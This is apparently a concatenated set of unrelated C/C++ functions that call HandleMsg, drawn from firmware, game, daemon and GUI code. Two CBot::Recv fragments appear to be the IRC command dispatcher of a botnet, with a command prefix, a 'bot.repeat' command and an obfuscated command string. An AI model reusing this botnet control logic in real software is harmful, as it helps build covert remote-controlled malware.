int main(void) { // init sys SystemInit(); // init peripheral UART_Configuration(); delay_init(); KEY_GPIO_Init(); TIM3_Int_Init(100,7199); Motor_Init(); RGB_LED_Init(); DHT11_Init(); IR_Init(); // init vars GenProtocolInit(); BuzProtocolInit(); UartInit(); while(1) { // handle uart msg HandleMsg(); // handle key events HandleKey(); // business logic tick BuzTick(); } }
void BaseService::Start() { m_WorkThread.Start([this]() { HandleMsg(); }); }
void CBot::Recv(CMessage *pMsg, bool bInternal) { #ifdef DBGCONSOLE if(pMsg->sDest[0]=='#') g_pMainCtrl->m_cConsDbg.Log(5, "<%s> %s\n", pMsg->sSrc.CStr(), pMsg->sChatString.CStr()); else g_pMainCtrl->m_cConsDbg.Log(5, "*%s* %s\n", pMsg->sSrc.CStr(), pMsg->sChatString.CStr()); #endif if(pMsg->sDest[0]=='#') pMsg->sReplyTo.Assign(pMsg->sDest); else pMsg->sReplyTo.Assign(pMsg->sSrc); if(pMsg->bNotice) pMsg->sReplyTo.Assign(pMsg->sSrc); if(pMsg->bOutchan) { CString sOutchan; sOutchan.Assign(pMsg->sChatString.Mid(pMsg->sChatString.Find(" -o")+3)); pMsg->sReplyTo.Assign(sOutchan); } pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ").Mid(1)); // Check if its a bot command by comparing the first byte to the bot_prefix value if(pMsg->sChatString[0]==bot_prefix.sValue[0]) { if(!pMsg->sCmd.Compare("bot.repeat")) { if(!pMsg->sChatString.Token(1, " ").Compare("")) return; int i=0, iNum=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iNum) return; CString sNewCStr=pMsg->sChatString.Mid(pMsg->sChatString.Find(' ')); sNewCStr=sNewCStr.Mid(sNewCStr.Find(' ')); pMsg->sChatString.Assign(sNewCStr); pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ").Mid(1)); if(!bInternal) for(i=0;i<iNum;i++) HandleMsg(pMsg); else for(i=0;i<iNum;i++) HandleMsgInt(pMsg); } else if(!bInternal) HandleMsg(pMsg); else HandleMsgInt(pMsg); } else if(pMsg->sChatString.Token(0, " ").Find(g_pMainCtrl->m_sUserName)) { // botname .command mod - deejayfuzion CString sNewCStr=pMsg->sChatString.Mid(pMsg->sChatString.Find(' ')); pMsg->sChatString.Assign(sNewCStr); pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ")); this->Recv(pMsg, bInternal); } else { // fallback handler HandleFallBack(pMsg); } }
void CSakiServerEngine::OnReceive(CAsyncSocket* pVisitor, unsigned char* data, int length) { auto player = GetPlayer(pVisitor); SakiSnakeCommon::MsgHeader* header = reinterpret_cast<SakiSnakeCommon::MsgHeader*>(data); switch (header->_id) { case SakiSnakeCommon::msgSetReady: { auto msg = SakiSnakeCommon::Msg<SakiSnakeCommon::msgSetReady, SakiSnakeCommon::SetReadyMsg>(data, length); HandleMsg(player, msg._data); break; } case SakiSnakeCommon::msgSetDirection: { auto msg = SakiSnakeCommon::Msg<SakiSnakeCommon::msgSetDirection, SakiSnakeCommon::SetDirectionMsg>(data, length); HandleMsg(player, msg._data); break; } } }
void CBot::Recv(CMessage *pMsg, bool bInternal) { #ifdef DBGCONSOLE if(pMsg->sDest[0]=='#') g_cMainCtrl.m_cConsDbg.Log(5, "<%s> %s\n", pMsg->sSrc.CStr(), pMsg->sChatString.CStr()); else g_cMainCtrl.m_cConsDbg.Log(5, "*%s* %s\n", pMsg->sSrc.CStr(), pMsg->sChatString.CStr()); #endif if(pMsg->sDest[0]=='#') pMsg->sReplyTo.Assign(pMsg->sDest); else pMsg->sReplyTo.Assign(pMsg->sSrc); if(pMsg->bNotice) pMsg->sReplyTo.Assign(pMsg->sSrc); if(pMsg->bOutchan) { CString sOutchan; sOutchan.Assign(pMsg->sChatString.Mid(pMsg->sChatString.Find(" -o")+3)); pMsg->sReplyTo.Assign(sOutchan); } pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ").Mid(1)); // Check if its a bot command by comparing the first byte to the bot_prefix value if(pMsg->sChatString[0]==bot_prefix.sValue[0]) { if(!pMsg->sCmd.Compare(dp(2,15,20,78,18,5,16,5,1,20,0).CStr()) && g_cMainCtrl.m_cMac.FindLogin(pMsg->sSrc)) { if(!pMsg->sChatString.Token(1, " ").Compare("")) return; int i=0, iNum=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iNum) return; CString sNewCStr=pMsg->sChatString.Mid(pMsg->sChatString.Find(' ')); sNewCStr=sNewCStr.Mid(sNewCStr.Find(' ')); pMsg->sChatString.Assign(sNewCStr); pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ").Mid(1)); if(!bInternal) for(i=0;i<iNum;i++) HandleMsg(pMsg); else for(i=0;i<iNum;i++) HandleMsgInt(pMsg); } else if(!bInternal) HandleMsg(pMsg); else HandleMsgInt(pMsg); } }
uint32 Lightning::ObjectMessageFn(HOBJECT hSender, uint32 messageID, HMESSAGEREAD hRead) { switch (messageID) { case MID_TRIGGER: { const char* szMsg = (const char*)g_pLTServer->ReadFromMessageDWord(hRead); HandleMsg(hSender, szMsg); } break; default : break; } return CClientSFX::ObjectMessageFn(hSender, messageID, hRead); }
bool cOpenHpiDaemon::HandleData( cConnection *c ) { cMessageHeader header; void *data = 0; int rv = ConnectionReadMsg( c->Fd(), &header, &data, 0 ); if ( rv ) { if ( data ) free( data ); fprintf( stderr, "cannot read message !\n" ); return false; } if ( header.m_type == eMhPong ) { HandlePong( c, header ); return true; } cMessageHeader rh; void *rd = 0; tResult r = HandleMsg( c, header, data, rh, rd ); if ( data ) free( data ); // marshal error ? if ( rh.m_len < 0 ) rv = 1; if ( r == eResultReply ) rv = ConnectionWriteMsg( c->Fd(), &rh, rd ); else if ( r == eResultError ) rv = 1; if ( rd ) free( rd ); return !rv; }
void Status_OnKeyDown(HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam) { if (!HandleMsg(wParam,lParam)) //该按键盘不需要处理 { return ; } if (wParam == VK_BACK) { HandleBack(); } else if (wParam == VK_SPACE) { HandleSpace(); } //小键盘 else if (wParam >= VK_NUMPAD4 && wParam <= VK_NUMPAD9 && wParam != VK_NUMPAD6) { Handle_Small_Num(wParam); } // 0 - 9 else if (wParam >= 0x30 && wParam <= 0x39) { HandleNum(wParam,lParam); } // A - Z else if (wParam >= 0x41 && wParam <= 0x5A) { HandleChar(wParam,lParam); } else if (wParam == VK_CONTROL) { HandleControl(); } //上翻页 else if (wParam == VK_LEFT) { } //下翻 else if (wParam == VK_RIGHT) { } }
int GameWorld::Login() { char szUser[32]={0}; CHAR szDir[64]={0}; ::GetCurrentDirectory(64, szDir); ::GetPrivateProfileString("config","user","",szUser,32,(szDir+string("/config.ini")).c_str()); char szData[MsgLen]={0}; memset(szData, 0, MsgLen); datasock.Receive(szData, MsgLen); if (strcmp(szData, "[username,password]")) { MessageBox(hwnd_window, "expect server msg error","",MB_OK); return -1; } SendMsg(szUser); pGameMap = new GameMap(); pGameMap->Init(hdcScreen); memset(szData, 0 ,MsgLen); int len = datasock.Receive(szData, MsgLen); if (strcmp(szData,"[user is online]")==0) { MessageBox(hwnd_window, szData, "", MB_OK); return -1; } datasock.SetBlocking(false); severMessageBuffer.append(szData, len); HandleMsg(); return 0; }
int GameWorld::Main() { HandleMsg(); if (spMainRole == NULL) { return 0; } vector<Sprite *>::iterator iter; for (iter = vecpSprite.begin(); iter!=vecpSprite.end();iter++) { (*iter)->Animate(); } pGameMap->MoveViewport(spMainRole->GetX(), spMainRole->GetY()); char szDebugMessage[DebugMsgLen]={0}; sprintf(szDebugMessage, "Viewport X:%d, Y:%d",ViewportPos_x,ViewportPos_y); vecDebugMessage[DebugMsg_Index_viewPort]=szDebugMessage; pGameMap->Draw(hdcCanvas); for (iter = vecpSprite.begin(); iter!=vecpSprite.end();iter++) { (*iter)->Draw(hdcCanvas); if ((*iter)->GetTypeID()==spMainRole->GetTypeID() && (*iter)->GetID() == spMainRole->GetID()) { sprintf(szDebugMessage, "AnimIndex:%d, FrameNum :%d",spMainRole->GetAnimIndex(),spMainRole->GetFrameNum()); vecDebugMessage[DebugMsg_Index_Animat]=szDebugMessage; } } pGameMap->DrawMini(hdcCanvas, vecpSprite); Refresh(); GenerateMsg(); return 0; }
void CKSExportForWebGUIPane::SendMsgFromTop(SMsg* pMsg) { HandleMsg(pMsg); } // SendMsgFromTop